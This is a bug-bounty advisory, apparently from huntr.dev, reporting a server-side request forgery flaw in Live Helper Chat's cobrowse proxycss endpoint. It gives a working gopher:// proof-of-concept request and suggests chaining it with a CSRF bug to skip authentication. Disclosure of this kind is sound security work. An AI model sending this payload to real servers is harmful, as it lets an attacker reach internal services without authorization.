Lucene search

K
huntrCaioluders7264A2E1-17E7-4244-93E4-49EC14F282B3
HistoryMar 29, 2022 - 4:18 a.m.

SSRF on index.php/cobrowse/proxycss/

2022-03-2904:18:49
caioluders
www.huntr.dev
19

0.001 Low

EPSS

Percentile

30.6%

Description

Live Helper Chat is vulnerable to SSRF on the /index.php/cobrowse/proxycss endpoint. It’s possible to make internal requests and see the response as an authenticated user, it’s also possible to make an request with any protocol using goppher://.

Proof of Concept

  1. Request

http://127.0.0.1/index.php/cobrowse/proxycss/1?base=gopher://0:80/xGET /&css=

GET /index.php/cobrowse/proxycss/1?base=gopher://0:80/xGET%20/&css= HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: lhc_vid=10c9573dc50925e9141f; PHPSESSID=1f91a362084b1d87c4ebdf255fc32629
Connection: close

This could be used chained with the CSRF vulnerability https://huntr.dev/bounties/35ab4644-ff90-4723-ab05-ede4eddf69c6/ to achieve the SSRF without authentication.

Impact

An attacker could make the application perform arbitrary requests.

0.001 Low

EPSS

Percentile

30.6%

Related for 7264A2E1-17E7-4244-93E4-49EC14F282B3